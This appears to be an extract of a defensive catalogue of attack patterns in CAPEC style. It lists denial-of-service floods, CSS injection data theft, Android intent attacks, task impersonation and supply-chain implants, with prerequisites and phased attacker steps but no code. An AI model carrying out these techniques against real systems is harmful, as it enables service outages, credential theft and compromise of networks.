  • The victim and the attacker are both in an environment where an active adversary in the middle attack is possible (e.g., public WIFI hot spot)The victim visits at least one website that does not use TLS / SSL
Low: Ability to intercept and modify requests / responses Medium: Solid understanding of the HTTP protocol Draft Medium 3.9
94
Generic Cross-Browser Cross-Domain Theft Standard An attacker makes use of Cascading Style Sheets (CSS) injection to steal data cross domain from the victim's browser. The attack works by abusing the standards relating to loading of CSS: 1. Send cookies on any load of CSS (including cross-domain) 2. When parsing returned CSS ignore all data that does not make sense before a valid CSS descriptor is found by the CSS parser. By having control of some text in the victim's domain, the attacker is able to inject a seemingly valid CSS string. It does not matter if this CSS string is preceded by other data. The CSS parser will still locate the CSS string. If the attacker is able to control two injection points, one before the cross domain data that the attacker is interested in receiving and the other one after, the attacker can use this attack to steal all of the data in between these two CSS injection points when referencing the injected CSS while performing rendering on the site that the attacker controls. When rendering, the CSS parser will detect the valid CSS string to parse and ignore the data that "does not make sense". That data will simply be rendered. That data is in fact the data that the attacker just stole cross domain. The stolen data may contain sensitive information, such CSRF protection tokens. 2014-06-23 02:00:00 Capec: CAPEC-468
Cwe: CWE-707
Cwe: CWE-149
Cwe: CWE-177
Cwe: CWE-838
Reference_from_capec: REF-405
2022-02-22 01:00:00 2.1 Software
None None
  • No new lines can be present in the injected CSS stringProper HTML or URL escaping of the " and ' characters is not presentThe attacker has control of two injection points: pre-string and post-string
  • Attacker controlled site/page to render a page referencing the injected CSS string
High: Ability to craft a CSS injection Draft Medium 3.9
242
HTTP DoS Standard An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted. 2014-06-23 02:00:00 Capec: CAPEC-469
Cwe: CWE-770
Cwe: CWE-772
Attack: T1499.002
Reference_from_capec: REF-406
2022-09-29 02:00:00 2.1 Software
None None
  • HTTP protocol is usedWeb server used is vulnerable to denial of service via HTTP flooding
  • Ability to issues hundreds of HTTP requests
Draft Low 3.9
227
Signature Spoof Standard An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions. 2014-06-23 02:00:00 Capec: CAPEC-473
Cwe: CWE-20
Cwe: CWE-327
Cwe: CWE-290
Attack: T1036.001
Attack: T1553.002
2022-09-29 02:00:00 2.1 Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Software
  1. An attacker provides a victim with a malicious executable disguised as a legitimate executable from an established software by signing the executable with a forged cryptographic key. The victim's operating system attempts to verify the executable by checking the signature, the signature is considered valid, and the attackers' malicious executable runs.
  2. An attacker exploits weaknesses in a cryptographic algorithm to that allow a private key for a legitimate software vendor to be reconstructed, attacker- created malicious software is cryptographically signed with the reconstructed key, and is installed by the victim operating system disguised as a legitimate software update from the software vendor.
None None
  • The victim or victim system is dependent upon a cryptographic signature-based verification system for validation of one or more security events or actions.
  • The validation can be bypassed via an attacker-provided signature that makes it appear that the legitimate authoritative or reputable source provided the signature.
High: Technical understanding of how signature verification algorithms work with data and applications Draft None 3.9
151
Escaping Virtualization Standard An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks. 2019-09-30 02:00:00 Capec: CAPEC-480
Cwe: CWE-693
Attack: T1611
2021-10-21 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Non-Repudiation:
  • Gain Privileges
Software

Explore

  1. Probing: The adversary probes the target application, service, or device to find a possible weakness that would allow escaping the virtualized environment.
  2. Techniques
    Probing applications, services, or devices for virtualization weaknesses.

Experiment

  1. Verify the exploitable security weaknesses: Using the found weakness, the adversary attempts to escape the virtualized environment.
  2. Techniques
    Using an application weakness to escape a virtualized environment

Exploit

  1. Execute more complex attacks: Once outside of the virtualized environment, the adversary attempts to perform other more complex attacks such as accessing system resources or executing unauthorized code within the host environment.
  2. Techniques
    Executing complex attacks when given higher permissions by escaping a virtualized environment
Low Draft Very High 3.9
237
115
Contradictory Destinations in Traffic Routing Schemes Standard Adversaries can provide contradictory destinations when sending messages. Traffic is routed in networks using the domain names in various headers available at different levels of the OSI model. In a Content Delivery Network (CDN) multiple domains might be available, and if there are contradictory domain names provided it is possible to route traffic to an inappropriate destination. The technique, called Domain Fronting, involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. An alternative technique, called Domainless Fronting, is similar, but the SNI field is left blank. 2019-04-04 02:00:00 Capec: CAPEC-481
Cwe: CWE-923
Attack: T1090.004
2023-01-24 01:00:00 2.1 Confidentiality:
  • Read Data
  • Modify Data
Communications
Software
None Medium
  • An adversary must be aware that their message will be routed using a CDN, and that both of the contradictory domains are served from that CDN.
  • If the purpose of the Domain Fronting is to hide redirected C2 traffic, the C2 server must have been created in the CDN.
Medium: The adversary must have some knowledge of how messages are routed. Draft High 3.9
161
TCP Flood Standard An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages. 2014-06-23 02:00:00 Capec: CAPEC-482
Cwe: CWE-770
Attack: T1498.001
Attack: T1499.001
Attack: T1499.002
2022-09-29 02:00:00 2.1 Communications
Software
None None
  • This type of an attack requires the ability to generate a large amount of TCP traffic to send to the target port of a functioning server.
Draft None 3.9
125
DEPRECATED: XML Client-Side Attack Standard This attack pattern has been deprecated as it a generalization of CAPEC-230: XML Nested Payloads and CAPEC-231: XML Oversized Payloads. Please refer to these CAPECs going forward. 2014-06-23 02:00:00 Capec: CAPEC-484
2019-09-30 02:00:00 2.1 None None Deprecated None 3.9
UDP Flood Standard An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack. 2014-06-23 02:00:00 Capec: CAPEC-486
Cwe: CWE-770
2022-09-29 02:00:00 2.1 Communications
Software
None None
  • This type of an attack requires the ability to generate a large amount of UDP traffic to send to the desired port of a target service using UDP.
Draft None 3.9
125
ICMP Flood Standard An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack. 2014-06-23 02:00:00 Capec: CAPEC-487
Cwe: CWE-770
2022-09-29 02:00:00 2.1 Communications
Software
None None
  • This type of an attack requires the ability to generate a large amount of ICMP traffic to send to the target server.
Draft None 3.9
125
HTTP Flood Standard An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect. 2014-06-23 02:00:00 Capec: CAPEC-488
Cwe: CWE-770
Attack: T1499.002
Reference_from_capec: REF-751
2023-01-24 01:00:00 2.1 Communications
Software
None None
  • This type of an attack requires the ability to generate a large amount of HTTP traffic to send to a target server.
Draft None 3.9
125
SSL Flood Standard An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users. 2014-06-23 02:00:00 Capec: CAPEC-489
Cwe: CWE-770
Attack: T1499.002
2022-09-29 02:00:00 2.1 Communications
Software
None None
  • This type of an attack requires the ability to generate a large amount of SSL traffic to send a target server.
Draft None 3.9
125
Amplification Standard An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack. 2014-06-23 02:00:00 Capec: CAPEC-490
Cwe: CWE-770
Attack: T1498.002
2020-07-30 02:00:00 2.1 Software
None None
  • This type of an attack requires the existence of a 3rd party service that generates a response that is significantly larger than the request that triggers it.
Draft None 3.9
125
Regular Expression Exponential Blowup Standard An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions. The algorithm builds a finite state machine and based on the input transitions through all the states until the end of the input is reached. NFA engines may evaluate each character in the input string multiple times during the backtracking. The algorithm tries each path through the NFA one by one until a match is found; the malicious input is crafted so every path is tried which results in a failure. Exploitation of the Regex results in programs hanging or taking a very long time to complete. These attacks may target various layers of the Internet due to regular expressions being used in validation. 2014-06-23 02:00:00 Capec: CAPEC-492
Cwe: CWE-400
Cwe: CWE-1333
Owasp Attacks: Regular expression Denial of Service - ReDoS
Reference_from_capec: REF-421
2022-02-22 01:00:00 2.1 Software
None None
  • This type of an attack requires the ability to identify hosts running a poorly implemented Regex, and the ability to send crafted input to exploit the regular expression.
Draft None 3.9
130
SOAP Array Blowup Standard An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service. 2014-06-23 02:00:00 Capec: CAPEC-493
Cwe: CWE-770
Reference_from_capec: REF-422
2019-09-30 02:00:00 2.1 Software
None None
  • This type of an attack requires the attacker to know the endpoint of the web service, and be able to reach the endpoint with a malicious SOAP message.
Draft None 3.9
130
TCP Fragmentation Standard An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered. In comparison, IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. This behavior of fragmentation defeats some IPS and firewall filters who typically check the FLAGS in the header of the first packet since dropping this packet prevents the following fragments from being processed and assembled. Another variation is overlapping fragments thus that an innocuous first segment passes the filter and the second segment overwrites the TCP header data with the true payload which is malicious in nature. The malicious payload manipulated properly may lead to a DoS due to resource consumption or kernel crash. Additionally the fragmentation could be used in conjunction with sending fragments at a rate slightly slower than the timeout to cause a DoS condition by forcing resources that assemble the packet to wait an inordinate amount of time to complete the task. The fragmentation identification numbers could also be duplicated very easily as there are only 16 bits in IPv4 so only 65536 packets are needed. 2014-06-23 02:00:00 Capec: CAPEC-494
Cwe: CWE-770
Cwe: CWE-404
Reference_from_capec: REF-423
2022-02-22 01:00:00 2.1 Communications
Software
None None
  • This type of an attack requires the target system to be running a vulnerable implementation of IP, and the adversary needs to ability to send TCP packets of arbitrary size with crafted data.
Draft None 3.9
130
UDP Fragmentation Standard An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets. 2014-06-23 02:00:00 Capec: CAPEC-495
Cwe: CWE-770
Cwe: CWE-404
Reference_from_capec: REF-424
2019-04-04 02:00:00 2.1 Communications
Software
None None
  • This type of an attack requires the attacker to be able to generate fragmented IP traffic containing crafted data.
Draft None 3.9
130
ICMP Fragmentation Standard An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang. 2014-06-23 02:00:00 Capec: CAPEC-496
Cwe: CWE-770
Cwe: CWE-404
Reference_from_capec: REF-425
2019-04-04 02:00:00 2.1 Communications
Software
None None
  • This type of an attack requires the target system to be running a vulnerable implementation of IP, and the attacker needs to ability to send arbitrary sized ICMP packets to the target.
Draft None 3.9
130
File Discovery Standard An adversary engages in probing and exploration activities to determine if common key files exists. Such files often contain configuration and security parameters of the targeted application, system or network. Using this knowledge may often pave the way for more damaging attacks. 2019-09-30 02:00:00 Capec: CAPEC-497
Cwe: CWE-200
Attack: T1083
2020-12-17 01:00:00 2.1 Confidentiality:
  • Read Data
Software
None High
  • The adversary must know the location of these common key files.
Draft Very Low 3.9
149
169
Android Intent Intercept Standard An adversary, through a previously installed malicious application, intercepts messages from a trusted Android-based application in an attempt to achieve a variety of different objectives including denial of service, information disclosure, and data injection. An implicit intent sent from a trusted application can be received by any application that has declared an appropriate intent filter. If the intent is not protected by a permission that the malicious application lacks, then the attacker can gain access to the data contained within the intent. Further, the intent can be either blocked from reaching the intended destination, or modified and potentially forwarded along. 2014-06-23 02:00:00 Capec: CAPEC-499
Cwe: CWE-925
Reference_from_capec: REF-427
2021-10-21 02:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Resource Consumption
Confidentiality:
  • Read Data
Software

Explore

  1. Find an android application that uses implicit intents: Since this attack only works on android applications that use implicit intents, rather than explicit intents, an adversary must first identify an app that uses implicit intents. They must also determine what the contents of the intents being sent are such that a malicious application can get sent these intents.

Experiment

  1. Create a malicious app: The adversary must create a malicious android app meant to intercept implicit intents from a target application
  2. Techniques
    Specify the type of intent wished to be intercepted in the malicious app's manifest file using an intent filter
  3. Get user to download malicious app: The adversary must get a user using the targeted app to download the malicious app by any means necessary

Exploit

  1. Intercept Implicit Intents: Once the malicious app is downloaded, the android device will forward any implicit intents from the target application to the malicious application, allowing the adversary to gaina access to the contents of the intent. The adversary can proceed with any attack using the contents of the intent.
  2. Techniques
    Block the intent from reaching the desired location, causing a denial of service
    Gather sensitive information from the intercepted intent
    Modify the contents of the intent and forward along to another application
None
  • An adversary must be able install a purpose built malicious application onto the Android device and convince the user to execute it. The malicious application is used to intercept implicit intents.
Draft None 3.9
501
117
Intent Spoof Standard An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact. 2014-06-23 02:00:00 Capec: CAPEC-502
Cwe: CWE-284
Reference_from_capec: REF-427
2021-06-24 02:00:00 2.1 Software
None None
  • An adversary must be able install a purpose built malicious application onto the Android device and convince the user to execute it. The malicious application will be used to issue spoofed intents.
Draft None 3.9
148
WebView Exposure Standard An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface. 2014-06-23 02:00:00 Capec: CAPEC-503
Cwe: CWE-284
Reference_from_capec: REF-430
2020-07-30 02:00:00 2.1 Software
None None
  • This type of an attack requires the adversary to convince the user to load the malicious web page inside the target application. Once loaded, the malicious web page will have the same permissions as the target application and will have access to all registered interfaces. Both the permission and the interface must be in place for the functionality to be exposed.
Draft None 3.9
122
Task Impersonation Standard An adversary, through a previously installed malicious application, impersonates an expected or routine task in an attempt to steal sensitive information or leverage a user's privileges. When impersonating an expected task, the adversary monitors the task list maintained by the operating system and waits for a specific legitimate task to become active. Once the task is detected, the malicious application launches a new task in the foreground that mimics the user interface of the legitimate task. At this point, the user thinks that they are interacting with the legitimate task that they started, but instead they are interacting with the malicious application. Once the adversary's goal is reached, the malicious application can exit, leaving the original trusted application visible and the appearance that nothing out of the ordinary has occurred. A second approach entails the adversary impersonating an unexpected task, but one that may often be spawned by legitimate background processes. For example, an adversary may randomly impersonate a system credential prompt, implying that a background process requires authentication for some purpose. The user, believing they are interacting with a legitimate task, enters their credentials or authorizes the use of their stored credentials, which the adversary then leverages for nefarious purposes. This type of attack is most often used to obtain sensitive information (e.g., credentials) from the user, but may also be used to ride the user's privileges. 2014-06-23 02:00:00 Capec: CAPEC-504
Cwe: CWE-1021
Attack: T1036.004
Reference_from_capec: REF-434
2022-09-29 02:00:00 2.1 Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Software
  1. An adversary monitors the system task list for Microsoft Outlook in an attempt to determine when the application may prompt the user to enter their credentials to view encrypted email. Once the task is executed, the adversary impersonates the credential prompt to obtain the user's Microsoft Outlook encryption credentials. These credentials can then be leveraged by the adversary to read a user's encrypted email.
  2. An adversary prompts a user to authorize an elevation of privileges, implying that a background task needs additional permissions to execute. The user accepts the privilege elevation, allowing the adversary to execute additional malware or tasks with the user's privileges.

Explore

  1. Determine suitable tasks to exploit: Determine what tasks exist on the target system that may result in a user providing sensitive information.
  2. Techniques
    Determine what tasks prompt a user for their credentials.
    Determine what tasks may prompt a user to authorize a process to execute with elevated privileges.

Exploit

  1. Impersonate Task: Impersonate a legitimate task, either expected or unexpected, in an attempt to gain user credentials or to ride the user's privileges.
  2. Techniques
    Prompt a user for their credentials, while making the user believe the credential request is legitimate.
    Prompt a user to authorize a task to run with elevated privileges, while making the user believe the request is legitimate.
Medium
  • The adversary must already have access to the target system via some means.
  • A legitimate task must exist that an adversary can impersonate to glean credentials.
  • The user's privileges allow them to execute certain tasks with elevated privileges.
  • Malware or some other means to initially comprise the target system.
  • Additional malware to impersonate a legitimate task.
Low: Once an adversary has gained access to the target system, impersonating a task is trivial. Stable High 3.9
654
173
Tapjacking Standard An adversary, through a previously installed malicious application, displays an interface that misleads the user and convinces them to tap on an attacker desired location on the screen. This is often accomplished by overlaying one screen on top of another while giving the appearance of a single interface. There are two main techniques used to accomplish this. The first is to leverage transparent properties that allow taps on the screen to pass through the visible application to an application running in the background. The second is to strategically place a small object (e.g., a button or text field) on top of the visible screen and make it appear to be a part of the underlying application. In both cases, the user is convinced to tap on the screen but does not realize the application that they are interacting with. 2014-06-23 02:00:00 Capec: CAPEC-506
Cwe: CWE-1021
Reference_from_capec: REF-436
Reference_from_capec: REF-437
2020-07-30 02:00:00 2.1 Software
None Low
  • This pattern of attack requires the ability to execute a malicious application on the user's device. This malicious application is used to present the interface to the user and make the attack possible.
Draft Low 3.9
173
SaaS User Request Forgery Standard An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level. 2014-06-23 02:00:00 Capec: CAPEC-510
Cwe: CWE-346
Reference_from_capec: REF-438
2014-06-23 02:00:00 2.1 Software
None High
  • An adversary must be able install a purpose built malicious application onto the trusted user's system and convince the user to execute it while authenticated to the SaaS application.
Medium: This attack pattern often requires the technical ability to modify a malicious software package (e.g. Zeus) to spider a targeted site and a way to trick a user into a malicious software download. Draft Medium 3.9
21
Malicious Hardware Component Replacement Standard An adversary replaces legitimate hardware in the system with faulty counterfeit or tampered hardware in the supply chain distribution channel, with purpose of causing malicious disruption or allowing for additional compromise when the system is deployed. 2014-06-23 02:00:00 Capec: CAPEC-522
Attack: T1195.003
Reference_from_capec: REF-439
Reference_from_capec: REF-712
2022-09-29 02:00:00 2.1 Supply Chain
Hardware
  1. During shipment the adversary is able to intercept a system that has been purchased by the victim, and replaces a math processor card that functions just like the original, but contains advanced malicious capability. Once deployed, the system functions as normal, but allows for the adversary to remotely communicate with the system and use it as a conduit for additional compromise within the victim's environment.

Explore

  1. Determine Target Hardware: The adversary must first identify a system that they wish to target, and a specific hardware component that they can swap out with a malicious replacement.
  2. Techniques
    Look for datasheets containing the system schematics that can help identify possible target hardware.
    Procure a system and inspect it manually, looking for possible hardware component targets. Search for manufacturer IDs on hardware chips or FCC IDs on wireless chips to determine their functionality.
  3. Discover Vulnerability in Supply Chain: The adversary maps out the supply chain for the targeted system. They look for ooportunities to gain physical access to the system after it has left the manufacturer, but before it is deployed to the victim.
  4. Techniques
    Procure a system and observe the steps it takes in the shipment process.
    Identify possible warehouses that systems are stored after manufacturing.

Experiment

  1. Test a Malicious Component Replacement: Before performing the attack in the wild, an adversary will test the attack on a system they have procured to ensure that the desired outcome will be achieved.
  2. Techniques
    Design a malicious hardware component that will perform the same functionality as the target component, but also contains additional functionality.
    Obtain already designed malicious components that just need to be placed into the system.

Exploit

  1. Substitute Components in the Supply Chain: Using the vulnerability in the supply chain of the system discovered in the explore phase, the adversary substitutes the malicious component for the targeted component. This results in the adversary gaining unintended access to systems once they reach the victim and can lead to a variety of follow up attacks.
Low
  • Physical access to the system after it has left the manufacturer but before it is deployed at the victim location.
High: Hardware creation and manufacture of replacement components. Draft High 3.9
439
Malicious Software Implanted Standard An attacker implants malicious software into the system in the supply chain distribution channel, with purpose of causing malicious disruption or allowing for additional compromise when the system is deployed. 2014-06-23 02:00:00 Capec: CAPEC-523
Attack: T1195.002
Reference_from_capec: REF-439
Reference_from_capec: REF-716
2022-09-29 02:00:00 2.1 Supply Chain
  1. An attacker has created a piece of malicious software designed to function as a backdoor in a system that is to be deployed at the victim location. During shipment of the system, the attacker has physical access to the system at a loading dock of an integrator for a short time. The attacker unpacks and powers up the system and installs the malicious piece of software, and configures it to run upon system boot. The system is repackaged and returned to its place on the loading dock, and is shipped and installed at the victim location with the malicious software in place, allowing the attacker to bypass firewalls and remotely gain access to the victim's network for further malicious activities.

Explore

  1. Determine Entry Point: The adversary must first identify a system that they wish to target and search for an entry point they can use to install the malicious software. This could be a system which they have prior knowledge of, giving them insight into the software and environment.
  2. Techniques
    Use a JTAGulator to identify exposed JTAG and UART interfaces in smaller embedded systems.
    Identify exposed USB connectors that could be used to load software.
  3. Discover Vulnerability in Supply Chain: The adversary maps out the supply chain for the targeted system. They look for ooportunities to gain physical access to the system after it has left the manufacturer, but before it is deployed to the victim.
  4. Techniques
    Procure a system and observe the steps it takes in the shipment process.
    Identify possible warehouses that systems are stored after manufacturing.

Experiment

  1. Test Malicious Software: Before performing the attack in the wild, an adversary will test the attack on a system they have procured to ensure that the desired outcome will be achieved.
  2. Techniques
    Design malicious software that will give an adversary a backdoor into the system once it is deployed to the victim.
    Obtain already designed malicious software that just need to be placed into the system.

Exploit

  1. Implant Software in the Supply Chain: Using the vulnerability in the supply chain of the system discovered in the explore phase, the adversary implants the malicious software into the system. This results in the adversary gaining unintended access to systems once they reach the victim and can lead to a variety of follow up attacks.
Low
  • Physical access to the system after it has left the manufacturer but before it is deployed at the victim location.
High: Malicious software creation. Draft High 3.9
439
Rogue Integration Procedures Standard An attacker alters or establishes rogue processes in an integration facility in order to insert maliciously altered components into the system. The attacker would then supply the malicious components. This would allow for malicious disruption or additional compromise when the system is deployed. 2014-06-23 02:00:00 Capec: CAPEC-524
Reference_from_capec: REF-439
Reference_from_capec: REF-716
2022-02-22 01:00:00 2.1 Supply Chain
  1. An attacker gains access to a system integrator's documentation for the preparation of purchased systems designated for deployment at the victim's location. As a part of the preparation, the included 100 megabit network card is to be replaced with a 1 gigabit network card. The documentation is altered to reflect the type of 1 gigabit network card to use, and the attacker ensures that this type of network card is provided by the attacker's own supply. The card has additional malicious functionality which will allow for additional compromise by the attacker at the victim location once the system is deployed.
None Low
  • Physical access to an integration facility that prepares the system before it is deployed at the victim location.
High: Hardware creation and manufacture of replacement components. Draft High 3.9
439
XML Flood Standard An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends. 2014-06-23 02:00:00 Capec: CAPEC-528
Cwe: CWE-770
Attack: T1499.002
Attack: T1498.001
2022-02-22 01:00:00 2.1
  • XML Denial of Service (XML DoS)
Availability:
  • Resource Consumption
Software
  1. Consider the case of attack performed against the createCustomerBillingAccount Web Service for an online store. In this case, the createCustomerBillingAccount Web Service receives a huge number of simultaneous requests, containing nonsense billing account creation information (the small XML messages). The createCustomerBillingAccount Web Services may forward the messages to other Web Services for processing. The application suffers from a high load of requests, potentially leading to a complete loss of availability the involved Web Service.

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instance of web services to process XML requests.
  2. Techniques
    Use an automated tool to record all instances of URLs to process XML requests.
    Use a browser to manually explore the website and analyze how the application processes XML requests.

Experiment

  1. An adversary crafts input data that may have an adverse effect on the operation of the web service when the XML data sent to the service.

Exploit

  1. Launch a resource depletion attack: The attacker delivers a large number of XML messages to the target URLs found in the explore phase at a sufficiently rapid rate. It causes denial of service to the target application.
  2. Techniques
    Send a large number of crafted XML messages to the target URL.
Low
  • The target must receive and process XML transactions.
  • An adverssary must possess the ability to generate a large amount of XML based messages to send to the target service.
Low: Denial of service Draft Medium 3.9
147
125
Malware-Directed Internal Reconnaissance Standard Adversary uses malware or a similarly controlled application installed inside an organizational perimeter to gather information about the composition, configuration, and security mechanisms of a targeted application, system or network. 2014-06-23 02:00:00 Capec: CAPEC-529
2020-07-30 02:00:00 2.1 Confidentiality:
  • Read Data
Software
None Medium
  • The adversary must have internal, logical access to the target network and system.
  • The adversary requires a variety of tools to collect information about the target. These include port/network scanners and tools to analyze responses from applications to determine version and configuration information. Footprinting a system adequately may also take a few days if the attacker wishes the footprinting attempt to go undetected.
Medium: The adversary must be able to obtain or develop, as well as place malicious software inside the target network/system. Stable Medium 3.9
169
Malicious Hardware Update Standard An adversary introduces malicious hardware during an update or replacement procedure, allowing for additional compromise or site disruption at the victim location. After deployment, it is not uncommon for upgrades and replacements to occur involving hardware and various replaceable parts. These upgrades and replacements are intended to correct defects, provide additional features, and to replace broken or worn-out parts. However, by forcing or tricking the replacement of a good component with a defective or corrupted component, an adversary can leverage known defects to obtain a desired malicious impact. 2014-06-23 02:00:00 Capec: CAPEC-534
Reference_from_capec: REF-439
Reference_from_capec: REF-711
2022-02-22 01:00:00 2.1 Supply Chain
Physical Security
Hardware
  1. An adversary develops a malicious networking card that allows for normal function plus the addition of malicious functionality that is of benefit to the adversary. The adversary sends the victim an email stating that the existing networking card is faulty, and that the victim can order a replacement card free of charge. The victim orders the card, and the adversary sends the malicious networking card. The malicious networking card replaces the perfectly-functioning original networking card, and the adversary is able to take advantage of the additional malicious functionality to further compromise the victim's network.
None Low High: Able to develop and manufacture malicious hardware components that perform the same functions and processes as their non-malicious counterparts. Stable High 3.9
440
Data Injected During Configuration Standard An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary. 2014-06-23 02:00:00 Capec: CAPEC-536
Cwe: CWE-284
Reference_from_capec: REF-439
2021-10-21 02:00:00 2.1 Supply Chain
Software
  1. An adversary wishes to bypass a security system to access an additional network segment where critical data is kept. The adversary knows that some configurations of the security system will allow for remote bypass under certain conditions, such as switching a specific parameter to a different value. The adversary knows the bypass will work but also will be detected within the logging data of the security system. The adversary waits until an upgrade is performed to the security system by the victim's system administrators, and the adversary has access to an external logging system. The adversary injects false log entries that cause the administrators to think there are two different error states within the security system - one involving the specific parameter and the other involving the logging entries. The specific parameter is adjusted to a different value, and the logging level is reduced to a lower level that will not cause an adversary bypass to be detected. The adversary stops injecting false log data, and the administrators of the security system believe the issues were caused by the upgrade and are now resolved. The adversary is then able to bypass the security system.

Explore

  1. Determine configuration process: The adversary, through a previously compromised system, either remotely or physically, determines what the configuration process is. They look at configuration files, data files, and running processes on the system to identify areas where they could inject malicious data.
  2. Determine when configuration occurs: The adversary needs to then determine when configuration or recalibration of a system occurs so they know when to inject malicious data.
  3. Techniques
    Look for a weekly update cycle or repeated update schedule.
    Insert a malicious process into the target system that notifies the adversary when configuration is occurring.

Experiment

  1. Determine malicious data to inject: By looking at the configuration process, the adversary needs to determine what malicious data they want to insert and where to insert it.
  2. Techniques
    Add false log data
    Change configuration files
    Change data files

Exploit

  1. Inject malicious data: Right before, or during system configuration, the adversary injects the malicious data. This leads to the system behaving in a way that is beneficial to the adversary and is often followed by other attacks.
Low
  • The attacker must have previously compromised the victim's systems or have physical access to the victim's systems.
  • Advanced knowledge of software and hardware capabilities of a manufacturer's product.
